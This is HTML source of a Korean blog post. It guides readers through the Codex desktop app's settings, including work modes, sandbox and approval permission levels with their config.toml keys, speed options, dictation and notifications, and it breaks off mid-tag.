&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;10&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;컴퓨터 사용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Computer Use 플러그인(macOS 앱 제어 + 앱별 승인)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;11&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;보관된 채팅&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;아카이브된 스레드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;12&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;사용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;5시간 / 1주 사용 한도 &amp;middot; 계정 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이드바가 12개로 늘어난 만큼, 한 번에 모두 다듬기보다 &lt;b&gt;일반 &amp;rarr; 구성 &amp;rarr; 깃 &amp;rarr; MCP&lt;/b&gt; 순서로 자주 쓰는 메뉴부터 정돈하는 편이 효율적이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;작업 모드 &amp;mdash; 코딩용 vs 일상 작업용&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1420&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6xWXm/dJMcag6rp9F/sCrLS5ms9kJGOOf2Ixq20k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6xWXm/dJMcag6rp9F/sCrLS5ms9kJGOOf2Ixq20k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6xWXm/dJMcag6rp9F/sCrLS5ms9kJGOOf2Ixq20k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6xWXm%2FdJMcag6rp9F%2FsCrLS5ms9kJGOOf2Ixq20k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;211&quot; data-origin-width=&quot;1420&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 메뉴 상단에서 &lt;b&gt;코딩용&lt;/b&gt;과 &lt;b&gt;일상 작업용&lt;/b&gt; 두 모드 중 하나를 선택한다. 같은 모델&amp;middot;같은 권한이라도 응답 톤과 디테일 수준이 달라진다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;응답 성향&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;권장 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;코딩용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;기술 디테일 우선. 파일 경로&amp;middot;diff&amp;middot;테스트 명령어를 빠짐없이 노출하는 편이다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;기능 구현, 리팩터, 테스트 작성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;일상 작업용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;간결한 응답. 자연어 설명과 결정 요약 중심이다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;스탠드업 정리, 릴리스 노트, 회의 후속&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;권한 3단계 &amp;mdash; GUI 라벨과 config.toml 매핑&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;624&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTmvQj/dJMcagL93p3/KheYNQk7WjFOsQkIdJ0UTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTmvQj/dJMcagL93p3/KheYNQk7WjFOsQkIdJ0UTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTmvQj/dJMcagL93p3/KheYNQk7WjFOsQkIdJ0UTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTmvQj%2FdJMcagL93p3%2FKheYNQk7WjFOsQkIdJ0UTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;278&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;624&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 앱의 권한은 &lt;b&gt;샌드박스 모드 &amp;middot; 승인 정책&lt;/b&gt; 두 축이 합쳐진 결과다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 메뉴 상단의 &lt;b&gt;권한&lt;/b&gt; 영역에는 &lt;i&gt;기본 권한 &amp;middot; 자동 검토 &amp;middot; 전체 접근 권한&lt;/i&gt; 세 항목이 토글로 표시되는데, 이는 단계별 권한 상승 토글에 가깝다. 실제 &lt;code&gt;sandbox_mode&lt;/code&gt; 값은 구성 메뉴의 샌드박스 설정 드롭다운(Read only / Workspace write / Full access)에서 선택하고, &lt;code&gt;config.toml&lt;/code&gt;에는 두 키로 분리해 적는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;매핑 관계는 다음과 같다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandbox concepts&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/codex/agent-approvals-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Agent approvals &amp;amp; security&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;GUI 라벨&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;&lt;code&gt;sandbox_mode&lt;/code&gt; 값&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;파일 시스템&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;셸 실행&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;기본 권한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;read-only&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;읽기 전용&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;읽기&amp;middot;조회 중심. 쓰기나 경계 밖 액션은 승인 흐름으로 넘어간다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;자동 검토&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;workspace-write&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;현재 워크스페이스 쓰기 허용&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;워크스페이스 안 작업은 진행하고, 위험하거나 경계 밖이면 승인 요청.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;전체 접근 권한&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #888;&quot;&gt;(구성 메뉴 라벨: Full access)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;danger-full-access&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;호스트 전체 쓰기 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;샌드박스 제한을 해제한다. 승인 정책을 별도로 보수적으로 잡아야 한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;함께 쓰는 승인 정책(&lt;code&gt;approval_policy&lt;/code&gt;)은 실제 GUI 드롭다운 기준 &lt;b&gt;네 값&lt;/b&gt;이 모두 활성화되어 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Untrusted&lt;/code&gt; &amp;mdash; &quot;Always ask before taking action&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;On failure&lt;/code&gt; &amp;mdash; &quot;Ask only when a command fails&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;On request&lt;/code&gt; &amp;mdash; &quot;Ask when escalation is requested&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Never&lt;/code&gt; &amp;mdash; &quot;Run without asking for approval&quot;가 표시된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;화면에서는 &lt;b&gt;On request&lt;/b&gt;가 기본으로 잡혀 있다. 일반적으로 &lt;code&gt;workspace-write&lt;/code&gt; + &lt;code&gt;on-request&lt;/code&gt; 조합이 가장 자주 쓰이는 편이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 12px 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;전체 접근 권한(&lt;code&gt;danger-full-access&lt;/code&gt;) 위험성&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 6px;&quot; data-ke-size=&quot;size8&quot;&gt;이 모드는 호스트 시스템 전체를 수정할 수 있다. 실수로 키 파일이나 시스템 설정을 덮어쓸 수 있고, 외부 명령&amp;middot;앱 조작의 피해 범위도 커진다. &lt;b&gt;실서비스 코드베이스나 개인 노트북에서는 기본값으로 켜지 않는 것이 좋다.&lt;/b&gt; 사용한다면 컨테이너&amp;middot;전용 VM&amp;middot;격리된 워크트리에서만 활성화한다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/agent-approvals-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Agent approvals &amp;amp; security&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 3: 일반 / 받아쓰기 / 알림 / 후속 행동 ===== --&gt;
&lt;h2 id=&quot;general-options&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 일반 / 받아쓰기 / 알림 / 후속 행동&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 메뉴는 자잘하지만 매일 손에 닿는 옵션이 모여 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;1586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GDkTI/dJMcaf0JA4a/xNP7MlYVu1xCKFuK1TPCuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GDkTI/dJMcaf0JA4a/xNP7MlYVu1xCKFuK1TPCuk/img.png&quot; data-alt=&quot;실제 화면: 일반 메뉴 6개 옵션 + 속도 + 후속 행동 + 코드 리뷰 + 추천 프롬프트 + 다른 에이전트 가져오기(2개 감지)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GDkTI/dJMcaf0JA4a/xNP7MlYVu1xCKFuK1TPCuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGDkTI%2FdJMcaf0JA4a%2FxNP7MlYVu1xCKFuK1TPCuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;699&quot; height=&quot;779&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;1586&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실제 화면: 일반 메뉴 6개 옵션 + 속도 + 후속 행동 + 코드 리뷰 + 추천 프롬프트 + 다른 에이전트 가져오기(2개 감지)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;일반 옵션 6가지(자주 쓰는 항목)&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기본 열림 위치&lt;/b&gt;: 드롭다운에서 IDE 선택. 기본 옵션에 VS Code가 잡혀 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;언어&lt;/b&gt;: 자동 탐지가 기본. 영어/한국어 등으로 강제 지정 가능.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;메뉴 막대에 표시&lt;/b&gt;: macOS 메뉴바 상단에 Codex 아이콘 노출.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팝아웃 창 단축키&lt;/b&gt;: 미니 채팅 창을 띄우는 단축키. 작업 흐름을 끊지 않을 때 유용하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실행 중 절전 모드 방지&lt;/b&gt;: 장시간 작업 중 Mac이 잠들지 않게 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;긴 프롬프트를 보내려면 ⌘+Enter 필요&lt;/b&gt;: 활성화하면 여러 줄 프롬프트는 ⌘+Enter로만 보내진다. 실수로 미완성 프롬프트가 전송되는 사고를 줄인다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;속도 &amp;mdash; 보통 / Fast&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7YHI3/dJMcaa6eF3b/cfnwya5VnPkH2GWaYW9HA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7YHI3/dJMcaa6eF3b/cfnwya5VnPkH2GWaYW9HA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7YHI3/dJMcaa6eF3b/cfnwya5VnPkH2GWaYW9HA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7YHI3%2FdJMcaa6eF3b%2Fcfnwya5VnPkH2GWaYW9HA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1328&quot; height=&quot;380&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;속도 옵션은 &lt;b&gt;보통&lt;/b&gt;과 &lt;b&gt;Fast&lt;/b&gt; 두 가지다. Fast는 지원 모델의 응답 속도를 올리는 대신 포함 크레딧을 더 빠르게 쓴다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 Speed 문서 기준 Fast 모드는 GPT-5.5와 GPT-5.4에서 1.5배 속도를 목표로 하며, 크레딧 차감률은 각각 Standard 대비 2.5배, 2배로 안내되어 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;API 키 로그인에서는 Fast 모드 크레딧이 아니라 표준 API 가격이 적용된다. 보통은 추론 시간을 더 두므로 멀티파일 리팩터나 복잡한 에이전트 작업에 더 안정적인 경향이 있다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/speed&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Speed&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;후속 행동 / 코드 리뷰&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1352&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CIq5y/dJMcaffqWSo/pG8E5uPfLRaG0VD8LQD5dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CIq5y/dJMcaffqWSo/pG8E5uPfLRaG0VD8LQD5dk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CIq5y/dJMcaffqWSo/pG8E5uPfLRaG0VD8LQD5dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCIq5y%2FdJMcaffqWSo%2FpG8E5uPfLRaG0VD8LQD5dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1352&quot; height=&quot;294&quot; data-origin-width=&quot;1352&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px; height: 160px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0; height: 25px;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; height: 25px;&quot;&gt;옵션&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; height: 25px;&quot;&gt;선택지&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; height: 25px;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 81px;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; height: 81px;&quot;&gt;&lt;b&gt;후속 행동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; height: 81px;&quot;&gt;대기열 추가 / 스티어링&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; height: 81px;&quot;&gt;&lt;b&gt;대기열&lt;/b&gt;은 현재 작업을 끝낸 뒤 다음 차례로 실행한다.&lt;br /&gt;&lt;b&gt;스티어링&lt;/b&gt;은 진행 중인 에이전트 작업을 즉시 중단하고 새 지시로 방향을 전환한다 &amp;mdash; 진행 중 작업은 취소된다. 이미 실행 중인 내용이 필요 없어졌을 때만 스티어링을 쓴다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8; height: 54px;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; height: 54px;&quot;&gt;&lt;b&gt;코드 리뷰&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; height: 54px;&quot;&gt;인라인 / 분리됨&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; height: 54px;&quot;&gt;인라인은 본문 diff 옆에 주석을 박아 맥락과 함께 본다. &lt;br /&gt;분리됨은 별도 패널에서 전체 리뷰를 한 번에 훑을 때 유용하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;받아쓰기 4개&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1413&quot; data-origin-height=&quot;645&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciFZJg/dJMcaiQGthA/jtxRLvW37VT8UmKzXHT2FK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciFZJg/dJMcaiQGthA/jtxRLvW37VT8UmKzXHT2FK/img.png&quot; data-alt=&quot;받아쓰기 4개 항목과 알림 3개(완료/권한/질문) 토글이 같은 일반 메뉴 하단에 위치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciFZJg/dJMcaiQGthA/jtxRLvW37VT8UmKzXHT2FK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciFZJg%2FdJMcaiQGthA%2FjtxRLvW37VT8UmKzXHT2FK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1413&quot; height=&quot;645&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1413&quot; data-origin-height=&quot;645&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;받아쓰기 4개 항목과 알림 3개(완료/권한/질문) 토글이 같은 일반 메뉴 하단에 위치&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;누르고 말하기 단축키&lt;/b&gt;: 키를 누르고 있는 동안만 음성 입력.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;말하기 단축키 켜기/끄기&lt;/b&gt;: 토글식 단축키. 한 번 누르면 켜지고 다시 누르면 꺼진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;받아쓰기 사전&lt;/b&gt;: 자주 잘못 인식되는 고유명사&amp;middot;약어 등록.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;최근의 받아쓰기 기록&lt;/b&gt;: 최근 발화 텍스트 검토.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;알림 3개&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1522&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWiZ7X/dJMcahYztX1/KbfGManXl3IRIgboO5qpCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWiZ7X/dJMcahYztX1/KbfGManXl3IRIgboO5qpCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWiZ7X/dJMcahYztX1/KbfGManXl3IRIgboO5qpCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWiZ7X%2FdJMcahYztX1%2FKbfGManXl3IRIgboO5qpCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; 